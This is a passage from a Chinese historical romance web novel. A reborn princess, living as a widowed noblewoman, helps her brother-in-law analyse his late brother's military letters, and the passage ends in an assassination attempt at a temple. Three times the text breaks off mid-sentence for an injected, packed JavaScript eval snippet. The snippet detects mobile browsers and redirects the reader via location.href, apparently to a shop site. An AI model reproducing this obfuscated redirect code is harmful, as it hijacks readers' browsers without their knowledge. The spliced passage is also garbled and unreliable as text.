“但是,”李妙仪话锋一转,声音虽轻,却字字清晰,“你要我安守内宅,是打算将我圈禁在这一方天地,只做个无声无息的摆设,直至老死么?” 郑淮序瞳孔微缩。 “郑淮序,”她直呼他的名讳,“你大哥将偌大家业、年迈双亲托付于你,是因他信你能扛得起。可你若连后院一女子都只能靠‘圈禁’来防备,你这‘扛’字,又能撑持多久?” 这话极重,甚至带着锋芒。 郑淮序面色沉了下来。他上前一步,高大的身影笼罩而下,带着压迫:“你此言何意?” 李妙仪迎上他的目光,不退不让:“我的意思是,你若想振兴门楣、报仇雪恨,靠的不是把身边人都变成提线木偶。你大哥所看重的,从来不是唯唯诺诺的傀儡。” 室内一片死寂。郑淮序胸口微微起伏,呼吸渐重:“你想做什么?” “做我能做的。”李妙仪答道,“稳住内宅,应对往来,本就是我分内之事。此外,崔家虽不堪,终究是一门姻亲,有些消息渠道或可利用。还有……” 她目光掠过书架:“你大哥留下的这些兵书舆图,还有他历年与朝中、军中的往来书信,你若需要整理、辨析,我可相助。毕竟,‘盛京第一才女’博览群书、过目不忘,做些文书工夫,不致惹人生疑。” 郑淮序眼中掠过一丝震动,未料到她竟如此直接地索要参与之机。 “你可知这意味着什么?卷入其中,稍有不慎,便是万劫不复。” “我知道。”李妙仪淡淡一笑,“可如今,我难道还有别的路可走么?做一只被圈养的金丝雀,待时机合适再被家族当作筹码交易出去?还是守着虚名,在这深宅里默默腐朽?” 她摇了摇头:“郑淮序,人总得想办法活下去,且要照自己的心意活。” 郑淮序看着她低垂的眉眼,纤长睫羽在眼下投落浅淡阴影,脆弱之下,却有一种奇异的韧劲。 门外响起脚步声,大夫到了。 郑淮序转身走向房门,手触门扉时,脚步微顿。 “嫂嫂先养好身子。”他未回头,声音低沉,“整理书信之事,过两日再议。” 门开了又合,带走了满室凝滞的空气。 李妙仪靠在床头,缓缓阖眼,长长地、无声地吁出一口气。 13. 暗涌 当世子的衣冠冢在郑家祖陵落土那一刻,国公府仿佛被抽去了主心骨。黑幡已撤,素白的灯笼却仍悬在廊下,在穿堂风中晃出摇摇欲坠的影子。 经此重击,国公爷一病不起,汤药不离口。国公夫人更是神思恍惚,清醒的片刻便抓着人反复问:“济川几时回来?”问得伺候的丫鬟婆子心酸难抑,只能背过身偷偷抹泪。 偌大府邸的内外重担,毫无转圜地压上了郑淮序的肩头。 李妙仪深居简出,日子过得规律而沉闷,每日准时到婆母榻前侍疾半个时辰,喂药拭汗,动作轻柔。 这日清晨,国公夫人精神似比往日稍清明了些。她靠在引枕上,目光不再涣散,反而紧紧锁在李妙仪脸上。 “令言。”国公夫人干裂的嘴唇翕动,声音嘶哑。 “母亲,您说。”李妙仪温声应着,将药匙凑近。 国公夫人却猛地抬手,一把攥住她的手腕,浑浊的眼睛直直盯着她,一字一顿地问:“你老实告诉我,济川出征前那晚,你二人可有同房?” 李妙仪手一颤,药汁险些洒出,一股热意猝不及防地从颈后窜上面颊,她垂下眼,摇了摇头。 “没有?”国公夫人的声音陡然拔高,攥着她的手又紧了几分,“一次也没有?那他出征前回来那几日呢?你们可曾在一起?成婚这些时日,统共有过几次?你们是不是……用了法子避着?” 一连串的追问又急又锐,李妙仪脸上火烧火燎,只觉浑身无所遁形。她哪敢说,自她重生以来,就没有过。 “我的儿啊!”国公夫人心中那最后一点渺茫的希望也彻底熄灭了,泪水汹涌而出,“你怎么就这样走了,连一儿半女都没给我留下!” 而此刻,门外廊下,郑淮序正提步而来,准备如常向母亲问安。那声声泣血的追问与悲号,清晰地、一字不落地钻入他的耳中。 脚步倏然顿住,像被钉在了原地。 他立在原地,听着母亲哭声渐歇,转为断续的呜咽,终是深吸一口气,没有再向前推开那扇门,而是悄无声息地转过身,如来时一般,沉默地离开了。 室内,李妙仪好不容易才稳住心神,勉强安抚下情绪再次崩溃的婆母,喂完了那碗已然微凉的药。待她力竭昏睡过去,才如同打了一场硬仗般,脚步虚浮地退了出来。 回到静心斋,她重新投入到那些仿佛能隔绝一切的佛经之中,伴着青灯,一笔一划,抄写不止。 连续抄了几日,腕间的酸涩让她终于搁下笔,刚揉了揉眉心,青鸾便掀帘进来,面上带着踌躇。 “少夫人,门房递了拜帖。”青鸾将那张洒金笺奉上,“是永嘉郡主,说明日过府探望您。” 指尖拂过纸上飞扬的字迹,李妙仪目光微凝。永嘉,她活泼鲜亮的堂妹,亦是崔令言闺中密友,对她过往的性情喜好,怕是再熟悉不过。 “知道了。”她将帖子搁在一旁,“去预备罢,茶点要清淡些。” 翌日午后,静心斋内熏了极淡的檀香。李妙仪换了身素净的水色襦裙,长发仅用一支素银簪绾起,铅华未施。 “少夫人,永嘉郡主到了。” 帘栊响动,着一袭浅碧宫装的少女步履轻快地走了进来,眉眼灵动,顾盼间尽是金枝玉叶未经磋磨的明媚。 “令言姐姐!”永嘉径直上前,一把握住李妙仪搁在膝上的手,触手冰凉,让她眉头立刻蹙起,“这才多久,怎就清减成这样?手也凉得厉害。” 李妙仪任由她握着,抿唇浅笑:“劳郡主挂念,只是心中郁结,难免如此。” 两人于临窗榻上相对坐下。永嘉性子爽利,略略寒暄后便直入主题:“姐姐,你们夫妻相聚日短,如今……唉,好在尚无子嗣牵绊。盛京好儿郎众多,凭姐姐的才貌家世,往后我定帮你留意着,必能再觅良缘。” 李妙仪缓缓摇头,哀戚之色漫上眉梢:“世子新丧,孝期未过,公婆又病体缠绵,我如今别无他想。” 永嘉见她意兴阑珊,转而说起京中近来趣事,哪家诗会才子夺魁,哪处园林景致正好。 李妙仪静静听着,偶尔应一声,笑意浅淡。 见她始终提不起精神,永嘉凑近了些,声音压低:“姐姐可知,宫里近来也不太平,皇后娘娘的病,反反复复,总不见好。” 李妙仪猝然坐直身子。 “自安阳皇姐去后,娘娘便像被抽走了魂儿似的。”永嘉未曾留意她的异样,兀自叹息,“太医署轮班守着,也不过是勉力维持。前几日我随母妃入宫请安,瞧见凤仪宫出来的人,个个面色沉重。” “皇后娘娘慈心,”李妙仪的声音里含着一丝难以察觉的哽意,“骤失爱女,自是悲痛难抑,只盼上天垂怜,佑娘娘凤体早愈。” 永嘉点头,忽又凑得更近,声线压得更低:“还有一桩蹊跷事,我前些日子偶然听父王提起,安阳皇姐坠崖那事,恐怕并不简单。” 李妙仪努力维持着恰如其分的惊诧:“郡主此言何意?不是说是场意外么?” “明面上是结案了。”永嘉环视四周,确认无旁人,才继续道,“可我父王说,猎场守卫何等森严,安阳皇姐骑术虽非顶尖,却也绝不至在平缓处失控坠崖。” “而且,”她顿了顿,“事后清理现场的人回报,崖边有疑似打斗的痕迹,只是那痕迹极浅,又被雨水冲刷过,难以作为实证。陛下当时震怒,下令严查,不知为何,后来却不了了之了。” 打斗的痕迹。 一股窒息般的寒意从脊椎窜起,直冲颅顶,让她的四肢百骸瞬间冰冷僵硬。 碎片化的记忆如潮水般翻涌:坠崖前的那一刻,身后急促的马蹄声,混杂的呼喊,马匹受惊的嘶鸣,以及那来自背后、毫无征兆的、猛烈的一推! “令言姐姐?”永嘉担忧地看着她骤然惨白的脸,“你怎么了?脸色这么难看?” 李妙仪蓦地回神,指尖按住额角,借这个动作掩饰失态:“许是昨日抄经睡得晚,有些头晕。”她深吸一口气,才勉强挤出平稳的语调,“郡主方才所言,实在骇人听闻,若真如此,安阳公主她真是含冤莫白。” “谁说不是呢。”永嘉叹息,并未深究她的异样,“这京城瞧着花团锦簇,底下不知埋着多少污糟事。姐姐,你如今在国公府,虽说郑家二郎掌了家,瞧着不近人情,但能力手腕却是一等一的。有他在前头顶着,府里总归安稳。你且宽心,好生将养才是正经。” 永嘉又坐了约一刻钟,说了些寻常的宽慰话,便起身告辞。 李妙仪送她到院门口,看着那抹身影消失在回廊尽头,脸上的浅笑一点点褪去。 回到内室,她屏退左右,独自坐在渐深的昏暗里。夕阳的余晖一点点从窗格抽离,暮色无声无息地漫进来,也将她单薄的身影融进一片混沌的阴翳。 那推她坠崖的人是谁?为何要杀她?父皇可知情?为何查了一半便偃旗息鼓?自己的记忆为何不完整? 无数疑问在脑中撕扯,却没有一个答案。更深的绝望在于,她如今顶着崔令言的身份,困在这国公府深宅,连踏入宫门、亲眼确认母后安危都不能! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164862|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连日来苦苦维持的平静假面,在这滔天的悲愤与彻骨的无助面前,终于寸寸碎裂。 泪水毫无预兆地滚落,肩膀难以自控地颤抖起来,她捂住嘴,将破碎的呜咽堵在掌心,泪水却愈发汹涌地从指缝间倾泻而出。 就在这几乎要将她溺毙的悲恸漩涡之中,门外忽然传来了脚步声。 李妙仪悚然一惊,慌忙用手背胡乱去擦脸上的泪痕,然而未等她整理好狼狈,帘子已被一只骨节分明的手掀起。 郑淮序挑灯而立,一身劲装染着尘霜,大约是听闻永嘉郡主到访的消息,未来得及更衣便径直过来了。 他将视线投向室内,然后毫无缓冲地,撞见了榻上那抹蜷缩的身影,以及她那张泪痕狼藉、苍白如纸的脸。 两人隔着昏暗的室内的空气对视,李妙仪忘了继续擦拭,郑淮序也忘了移开视线。 “二郎?”李妙仪先回过神,仓促地别开脸,“你怎么过来了?” 郑淮序停在门槛处,进不是,退也不是。 在他印象里,她一直是端雅持重的崔氏贵女,即便那日昏倒在他怀中,也是苍白安静的。可此刻这般全然崩溃的哀恸,像一根细微的刺,猝不及防扎进他心口某处。 “听闻郡主来访,过来看看。”他又生硬地补上一句,“她是否说了什么不当之言?” “没有。”李妙仪已勉强稳住声音,只是鼻音浓重,“郡主心善,只是过来宽慰我几句。” 郑淮序的目光落在她红肿的眼眶上,眸色深了深,显然不信,却也没有再追问。 暮色深浓,未点灯烛,两人的轮廓在昏暗中模糊不清,只有她偶尔抑制不住的细微抽噎,在寂静中格外清晰。 郑淮序忽然感到一阵莫名的焦躁,他不擅长应对眼泪,尤其不擅长应对她的眼泪。那日她挺直脊背与他针锋相对,言辞如刃,目光灼灼,那种清晰的对抗感反而让他觉得熟悉乃至从容。 “若有难处,可直言相告。”他试图安慰,话说出口却显得格外笨拙,“府中事务繁多,嫂嫂务必保重身体。” 李妙仪心绪未平,只极缓地点了点头,一滴残泪随着这个动作,无声地滴落在她交叠的手背上。 郑淮序心头那阵滞闷感愈发鲜明,他猛地移开视线,转身欲走,脚步却在门槛处顿住,“明日,我会遣人将大哥的一些东西送过来,由你协助整理。” 李妙仪蓦地抬首,望向门口那高大的背影。 “多是军中旧信,以及北境相关的舆图笔记。年代久远,杂乱无章,需重新分门别类,誊录紧要条目。”他停顿了一下,“此事,不必让外人知晓。” 语罢,他径直离去,脚步声很快消失在回廊尽头。 李妙仪久久未动,脸上的泪痕已干,心头的悲恸仍在,却因郑淮序最后那几句话,奇异地沉淀下来。 夜色已完全笼罩庭院,远处灵堂的长明灯在风中摇曳,一点昏黄的光,固执地亮着。 双腿因久坐和情绪的波动而微微发软,李妙仪有些吃力地起身,一步一步走到窗边,抬手按在自己心口的位置。 掌下,那颗心脏正有力地、甚至有些急促地搏动着。 那里奔涌的不再仅仅是崔令言的彷徨与哀戚,更灼热地翻滚着的,是安阳公主的沉冤、愤怒,与绝不低头的恨火。 无论那只将她推落悬崖的黑手属于谁。 无论这看似太平的盛京城下,隐藏着多少魑魅魍魉的算计与污浊。 她都要凭自己的双手,撕开一条血路,讨一个公道! 14. 矛盾 翌日上午,郑淮序果然遣了两名亲信,抬着一口沉实的樟木箱子,送到了静心斋。 箱盖开启,里面是码放得并不齐整的信函、卷轴、册子,甚至夹杂着几块绘有粗糙地形的硝制皮子,纸张色泽深浅不一,边角多有磨损卷曲。 “二公子吩咐,这些是将军在北境时的往来书信与随记札录。”为首的亲卫躬身禀道,“请少夫人费心整理誊清,若有需用之处,随时吩咐属下。” 李妙仪微微颔首,示意青鸾送人出去。 待厢房重归寂静,她才缓步走近,随手拈起最上方的一封,信封泛黄,火漆印纹早已剥落,露出内里略显潦草却筋骨铮然的字迹。 信是郑淮舟写给老国公的,内容寻常,禀报边关防务,问候父母安康,只在末尾淡笔一带:“北狄近来异动频繁,哨探屡有交锋。儿一切安好,勿念。” 她合上信纸,又拿起下一封,再下一封。 她不再细读全文,目光如梳,快速掠过泛黄的纸页,只精准捕捉关键:时日、地点、人名、异常之处。 整整一个上午,她便这样沉浸于故纸堆中。临近午时,才终于直起酸涩的腰身,揉了揉僵硬的颈后。 面前已依她之意分出数摞:军务简牍,寻常家书,同袍往来信函,另有一叠零散的舆图与地形札记。 随后铺开素纸,提笔蘸墨,开始誊录第一份清单。依时序,罗列箱中所有信函的日期、发信人、收信人、内容摘要,字迹是崔令言惯用的簪花小楷,清秀工整。 静心斋内,唯有笔锋游走纸面的沙沙声,规律而绵长。 国公府另一端的书房内,郑淮序听罢亲卫回禀,只淡淡“嗯”了一声。 “她看了多久?” “回二公子,少夫人自辰时起便未离书案,直至方才,已开始誊录了。” “神色如何?” “很是平静专注,未见异样,只是……”亲卫略作迟疑,“起身时似乎肩颈不适,揉按了片刻。” 郑淮序挥手令人退下,起身踱至窗边,负手望向静心斋的方向,目光沉邃难辨。 让她触及那些书信札记,无疑是一场冒险,他心知肚明。 可那日暮色中她崩溃的泪眼,与更早前她眼中不肯熄灭的星火,交织成一种奇特的牵引。将那些尘封的、或许藏着秘密的旧物交给她,是试探,亦是某种情势下的借力。 自那日后,静心斋便正式成了李妙仪整理文书之所。 郑淮序令人搬来一张宽大厚重的紫檀书案临窗而置,又添了书架、灯台、上好的笔墨纸砚,一应俱全。那口樟木箱中的旧物,被分批送来,井然有序。 李妙仪的日子骤然有了沉甸甸的重心。 每日晨昏定省后,她便埋首于此,依要求分类、誊录。但很快,她不满足于此。从少年意气风发的家书,到戍边后期愈发沉郁凝重的军报私记,一条隐秘的脉络逐渐清晰。 她开始尝试拼凑零散的信息:某次粮草延误与朝中何人调度相关;某处狄人奇袭的路线,与边防舆图上某个模糊标记如何暗合;甚至同僚间看似寻常的问候里,是否藏有对“京中动向”的隐晦提点。 这工作极耗心神,常是一坐半日,待从故纸尘烟中抬头,颈背僵直,眼前泛花。 有时实在倦极,不知不觉便伏在案上睡着了。 第一次,她醒来已是黄昏,身上不知何时多了一件外袍。她怔然抬头,室内空寂,唯有余晖脉脉。 第二次,她醒来躺在临窗的软榻上,薄毯覆得整齐,案头散乱的纸张被人细心归拢,以黄铜镇纸妥帖压好。 第三次,她睡得浅。 朦胧间,门扉传来极轻的响动,脚步声踏入,又刻意放得更缓。随后,一件外袍轻轻覆了上来。 她维持着伏案的姿势,呼吸轻缓似入睡,心却微微悬起。 他在她身侧停驻,目光如实质般落下,沉甸甸的。片刻,他弯下腰,手臂小心探入她的膝弯与后背,将她稳稳托起。 李妙仪的心跳骤然失序,清冽的松柏气息裹着淡淡墨香,密密将她围拢。他的体温隔着衣衫透来,她紧闭着眼,睫毛却几不可察地轻颤。 就在他转身走向软榻的刹那,脚下不知绊到什么,身形猛地向前趔趄。 为免摔着她,他急转半身,将自己垫在下方,两人便一同坠入榻中。 天旋地转,她整个人摔在他坚硬的胸膛上,鼻尖撞上锁骨,疼出泪意。更难受的是心口上方,他跌倒时屈起的手肘,正不偏不倚抵在那里。 “唔……”她疼得轻哼出声,眼角霎时湿了。 这痛楚来得太突然,理智还未回转,身体已先动作,膝头下意识往上顶,不轻不重撞在他腰侧。 “你!”郑淮序闷哼一声,声线里满是错愕。 李妙仪跌伏在郑淮序身上,双手撑在他颈侧,整个人几乎与他严丝合缝相贴。而他的一只手臂仍环在她腰后,另一只手掌因方才撞击,正紧紧贴合在她肩胛骨下方。 隔着衣衫,彼此的体温,仓促的心跳,甚至每一次因惊愕而加深的呼吸起伏,都清晰可感,无所遁形。 她脸上泪痕犹湿,眼角绯红,因疼痛与惊慌微微张着唇。而他仰在榻上,一贯冷峻的面上裂开清晰的愕然,耳根迅速蔓延开一片赤色。 太近了。 近得能看清他深褐瞳孔里自己慌乱的倒影,能觉察他每一寸绷紧的肌理,能闻见他气息与自己发间冷梅香纠缠成一片曖昧的潮湿。 李妙仪先惊醒过来。 如被火灼,她手忙脚乱欲撑起身逃离,一缕头发却不知何时勾在了他襟前的盘扣上,将她扯了原位,掌心按在他胸前衣料上。 那之下,是壁垒分明、紧绷炙热的肌理,以及一声陡然加重的心跳。 她试图解开那缕缠绕的发丝,指尖却微微发抖,越急越解不开。 “对、对不住!”她声音发颤,“我并非有意,方才实在是……” 郑淮序没有立刻松手。 他目光如铁钳般锁着她,空着的那只手抬了起来,似乎想帮她解开那缕恼人的发丝,指尖在即将触碰到时却又顿住,转而扶住了她的上臂,试图先帮她稳定重心。 “你……”他喉结重重滚动,声音沙哑得厉害,“踢我?” “我是撞疼了,未曾留神。”她语无伦次,挣扎间,手肘不小心抵到了他腰腹紧绷的肌肉,引来他一声几不可闻的抽气。 “未曾留神?”郑淮序重复着,眸色愈发幽深。他看着她绯红的脸颊,还有散落在他颈侧,那些搔刮着皮肤的柔软青丝。 这绝不是叔嫂之间应该有的距离。 郑淮序的心猛地向下一沉。 他倏然松开了环在她腰后的手臂,几乎同时,另一只手扯断缠在盘扣上的发丝,握住她单薄的肩头,稳而迅捷地将她从自己身上推开,随即翻身下榻,背对着她挺直站立。 一连串动作快得近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164863|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎仓皇。 李妙仪跌坐榻沿,心口闷痛未消,心跳依旧狂乱。她望着郑淮序异常僵硬的背影,方才那瞬间的失神带来的些微波澜,如潮水般急速退去,只余下懊悔。 厢房内死寂无声,唯余两人尚未平复的的呼吸,在浮动着尘埃的空气中清晰可闻。 良久,郑淮序才开口,声线已强行压回一贯的冷硬:“可伤着了?” 李妙仪指尖微颤地整理凌乱的衣襟与发丝,轻声道:“无碍,你可有摔着?” “无妨。”他答得极简。 又是一阵令人难堪的静默。 郑淮序终于转过身,面上已看不出多少异常,唯有耳根那抹薄红尚未全然褪尽。他的目光扫过她依旧泛红的眼角,落在她无意识轻按心口的手上。 “我让人送些化瘀的药油来。”他道,语气是不容置疑的断然,“今日便到此为止,嫂嫂先回去歇息。” “不必麻……”李妙仪试图婉拒。 “青鸾。”郑淮序已扬声唤人,径直截断了她的话。 守在门外的青鸾应声而入,瞥见室内略显凌乱的情形与两人之间微妙的气氛,立刻眼观鼻鼻观心,垂首不敢多看。 “送少夫人回房。”郑淮序吩咐,“去取上回太医署给的化瘀散。” “是。” 李妙仪知多说无益,便也不再推辞。她站起身,膝弯仍有些虚软,借着青鸾的搀扶方站稳。经过郑淮序身侧时,她极低地说了句:“今日多谢二弟。” 谢什么?谢他披衣,谢他相护,还是谢这荒唐一场、令人无措的贴近?话一出口,连她自己都觉突兀难堪。 郑淮序未应,默然侧身让开一步。 待她的身影消失在廊外,脚步声彻底远去,郑淮序才缓缓抬起右手。 掌心曾紧密贴合过她脊背的轮廓,那纤细骨骼的起伏与衣料下透来的体温,此刻竟似还在皮肤上残留着灼感。 郑淮序猛地收拢五指,攥握成拳,指节因用力而微微泛白。 他走到紫檀书案边,目光扫过她整理到一半的文书,最终落在那本摊开的素面册子上,上面是她工整娟秀的小楷。旁边,压着一页她随手记下的草稿,字迹略显飞扬潦草,是几个地名与人名的缩写,其间以线条勾连,旁侧画着一个醒目的问号。 他的视线在那问号上停留片刻。 移开时,瞥见案角一方素帕下,露出极小一角纸片,他伸指将其轻轻抽出。 那是一张裁下的废弃纸边,并无文字,只以简练流畅的线条,勾勒着一只振翅欲飞的孤鸟。笔触间透着一股无拘的轻逸,像是心神游离之际,信手而成的涂鸦。 郑淮序凝视着那只孤鸟,剑眉微不可察地蹙起。 这图案本身寻常,可出现在她埋首于沉重过往与诡谲疑云之时,仿佛是她紧绷心弦之下,一丝无意识泄露的、与平素沉稳持重截然不同的底色。 他将纸片放回原处,以素帕仔细掩好。 窗外风势忽紧,穿庭而过,吹得案上纸页哗啦轻响,也拂散了他眼底深沉的思虑。 郑淮序阖眼,深吸一口气,复又缓缓吐出。 无论她身上藏着多少令他捉摸不透的矛盾与谜团,眼下,郑家正值风雨飘摇,北境迷雾重重,他需要她拼凑出的、那些隐于水面之下的脉络。 他转头,望向她离去的那扇门,眼神重归深潭般的平静,将所有翻腾的波澜与疑虑,再次镇压于不动声色的表象之下。 15. 反应 自那日后,李妙仪再未允许自己在誊录时沉睡。倦意袭来时,她便起身在室内缓步踱圈,或用浸过井水的帕子按在额上,借那一阵沁骨的凉意逼退昏沉。 这日午后,她正提笔核对名录上最后几个模糊的墨迹,熟悉的脚步声便在廊下响起,比平日更沉。 她尚未抬头,郑淮序已带着一身未散的尘嚣走了进来,他周身那股生人勿近的冷肃,却在目光触及她时几不可察地缓了一瞬。 “二郎。”她搁笔欲起身。 “嫂嫂不必多礼,”他在她对面落座,“进度如何?” “已整理七成。这是近五年三品以上将领的调迁名录,旁注了籍贯、升迁脉络,以及与京中各衙署、世家的可能关联。”她将册子轻轻推过去。 郑淮序接过,垂眸细看。越是翻阅,神色便越是沉凝。名册不仅清晰,更在一些姓名旁,以朱砂批注了简练的小字:某参将何年经兵部某郎中举荐调任;某副将的妻族与都察院御史是姻亲;某关隘守将考绩平平,却在去岁突然调回京畿,职位不降反升。 散落的信息经她提取、串联,某种盘根错节的脉络,如雾中显形,渐渐清晰得令人心惊。 “这些朱批,”他修长的指尖点着册页上殷红的小字,“是你一一核出来的?” 李妙仪不觉端正了坐姿,答道:“有些是文书中提及,有些是结合历年邸报与人情往来推断。”她顿了顿,迎上他的视线,“不知对二弟可有用处?” 有用,岂止是有用。 他深深看她一眼。她侧颜柔婉,神情静默,仿佛所做之事再寻常不过。然则这些朱批背后,所需的洞察与心思,乃至对朝堂人情网络非同一般的了解,绝非寻常所能及。 “甚为有用。”他合上册子,“烦请嫂嫂继续,尤其留意与兵部、户部、内府往来频密,近年升迁异常者,需额外标注。” “好。”她应下,心中第一次觉得,那些曾被母后和太傅逼着苦读的经史子集、兵法典故、枯燥的官员考绩录,并非全然无用。 他看着她眼下的青黑,忍不住道:“嫂嫂保重身体,莫熬太晚。” 语毕,起身离去。 往后,郑淮序来得更勤,停留渐长。不再只是取走文书,有时会就她标注的疑点询问细节,有时甚至与她讨论北境地形、狄人习性、边防利弊。 烛光下,两人隔案而坐。 她指着舆图上的关隘,引经据典,分析得失;他则结合实战,补充细节,印证或修正她的推断。偶尔争论,她言辞清晰,逻辑缜密;他则一针见血,直指要害。 气氛时而紧绷,时而又因某个不谋而合的见解而骤然缓和。每逢此刻,他紧蹙的眉峰会略略舒展,而她,唇角也会浮起一丝真实的弧度。 这种频繁的、超越寻常叔嫂界限的接触,终究未能掩人耳目。 府中开始有风言风语,在仆役间悄然流转。“二公子与少夫人书房对坐,常常一待便是半日”、“说话时挨得那般近”……话语暧昧,如暗处滋生的藤蔓。 这些话,未等传到李妙仪耳中,便已戛然而止。 郑淮序雷厉风行,处理得不留情面。两个嘴碎的仆妇被打发到庄子,一个爱传闲话的小厮被调去马厩。 府中上下顿时噤若寒蝉。众人这才恍然惊觉,这位二公子掌家时日虽短,手段却已显山露水,温和的表象下,是绝不容冒犯的威严。 李妙仪隐约察觉气氛微妙,却未深究。她的心神,大半被文书与那些深夜摇曳烛火下的对谈占据了。 赶在第一场雪落下前,李妙仪终于整理完了最后一批文书。堆积如山的卷牍已分类归档,誊录清晰的册子码放齐整。 国公爷的病仍不见起色,国公夫人精神愈发不济。府中商议后决定,由郑淮序带领几位弟妹及李妙仪,前往京郊著名的皇家寺院——大慈悲寺祈福。 大慈悲寺坐落于西山南麓,殿阁巍峨,规制恢弘。车马至山门前便需停下,众人换乘软轿,沿着蜿蜒的山道徐徐上行。 禅院早已洒扫准备妥当,安顿下来后,稍事休整,便到了祈福法事的时辰。 大殿内烛火通明,檀香袅袅,诵经声低沉浑厚,如潮水般在穹顶下回旋震荡,郑家众人按序跪于蒲团之上。 李妙仪垂首跪着,双手合十,心中默念的,并非经文。 愿母后凤体安康,福寿绵长。 愿边疆亡魂安息,血债得偿。 愿这如履薄冰的每一步,终能踏出一条生路,得见一线天光。 不知过了多久,一声悠长的磬音为法事画上句点。膝头早已跪得麻木,她借着起身的动作悄悄活动了一下,抬眼时,恰看见郑淮序正转过身来。 他今日穿着一身深青色素面锦袍,少了戎装锐气,多了几分清贵沉稳。他的目光掠过众人,最后在她微跛的姿势上停顿了一瞬,随即淡声道:“都累了,先回禅院用些斋饭,好生歇息。” 斋饭清淡,但制作精雅,用罢,众人各自回房。 禅院房间简朴洁净,李妙仪推开北窗,山间清寒空气立刻涌入,让她因整日诵经焚香而有些昏沉的头脑为之一醒。 远处层峦叠嶂,暮色如墨。寺院的钟声又一次响起,缓慢、厚重,荡开在寂静的山谷间。她静静立了片刻,直到山风渐厉,吹得肌肤生寒,才关上窗。 屋内炭盆暖意缓缓弥漫。李妙仪沐浴更衣,换上素净寝衣,长发半干,披散肩头。白日里紧绷的心神松懈下来,疲惫便如潮水般涌上。 她正欲吹熄烛火就寝,忽然,耳廓微动。一阵几乎与风声融为一体的衣袂破空声,掠过头顶屋檐。 几乎是同时,郑淮序所居的禅院,骤然传来一声短促刺耳的兵刃交击之声。 “锵!” 紧接着便是护卫压低的厉喝:“有刺客,保护二公子!” 惊呼声、奔跑声、兵刃碰撞声,瞬间撕裂夜晚的宁静。 李妙仪的心脏猛地收紧,她连忙吹熄烛火,迅捷地贴到墙壁阴影中,屏息倾听。 外面的打斗声迅速变得激烈,禅院外的护卫似乎被有意拖住,一时无法回援。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164864|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷汗浸湿了她的寝衣,她强迫自己冷静,在黑暗中急速搜寻,最终落在了墙角那根用来支窗的硬木短棍上。 她悄无声息地挪过去,刚握住之时,厢房的门被人从外面以巨力猛地撞开,门闩断裂,木屑飞溅。 一道黑影如鬼魅般袭入,手中利刃反射出冰冷寒芒,直扑她的咽喉。 李妙仪心中大骇,她双手紧握木棍,即便知晓此举犹如螳臂当车,还是迎着寒光奋力向上格挡。 “咔嚓!”木棍应声而断,巨大的冲击力震得她双臂剧痛,虎口崩裂,温热的血瞬间涌出。 她踉跄后退,后背重重撞上桌沿,痛得眼前发黑。 刺客眼中闪过诧异,动作却毫不停滞,刀光如匹练,再次劈落。 这一刀,避无可避。 千钧一发之际,一道身影从门外卷入,手中长剑后发先至,精准无比地挡开了这致命一刀。金铁交鸣的巨响几乎刺破耳膜,火星在黑暗中迸溅。 郑淮序挡在了李妙仪身前。 他显然刚从激战中脱身,玄色劲装已有破损,持剑的右手稳如磐石,左手则不甚自然地垂着,衣袖上一道裂口,隐有深色渗出。 但他站在那里,周身散发着尸山血海中淬炼出的、令人胆寒的煞气。 那刺客一声低哑呼哨,门外竟又闪入另一道黑影,两人一左一右,刀光织成死亡之网,朝他们合围而来。 “躲好!”郑淮序只来得及低喝一声,便已挥剑迎上。 狭窄的禅房瞬间成了生死擂台。 剑光刀影纵横交错,劲风呼啸,桌椅、屏风在交锋中纷纷碎裂。只有窗外透入的微弱月光,映照出屋内鬼魅般闪动的人影。 李妙仪背靠冰冷墙壁,心脏狂跳,却强迫自己稳住心神,睁大眼睛,死死盯着战局。 郑淮序剑法凌厉狠辣,但他左手受伤,只能单手持剑应对两名训练有素的刺客,难免左支右绌,他的呼吸声在打斗中越来越重。 突然,李妙仪眼角的余光瞥见,窗外对面的屋檐上,一道黑影悄然张弓。弓弦微震,一道乌光悄无声息地破窗而入,直取郑淮序后心。 而此刻,郑淮序正被身前两名刺客拼死缠住,无从闪避。 “小心背后!”李妙仪魂飞魄散,失声尖呼。 声音出口的刹那,她的身体已先于意识做出反应。 她猛地抓起手边半截断掉的沉重桌腿,用尽全身力气,朝那枚夺命冷箭掷去。与此同时,她双腿蹬地前扑,竟是要用自己单薄的身躯,去挡在那剑锋与郑淮序之间。 “噗!” 桌腿未能击中箭矢,却稍稍改变了其轨迹。 郑淮序闷哼一声,身体剧震。 冷箭未能击中后心要害,却狠狠扎入他肩胛偏下的位置。 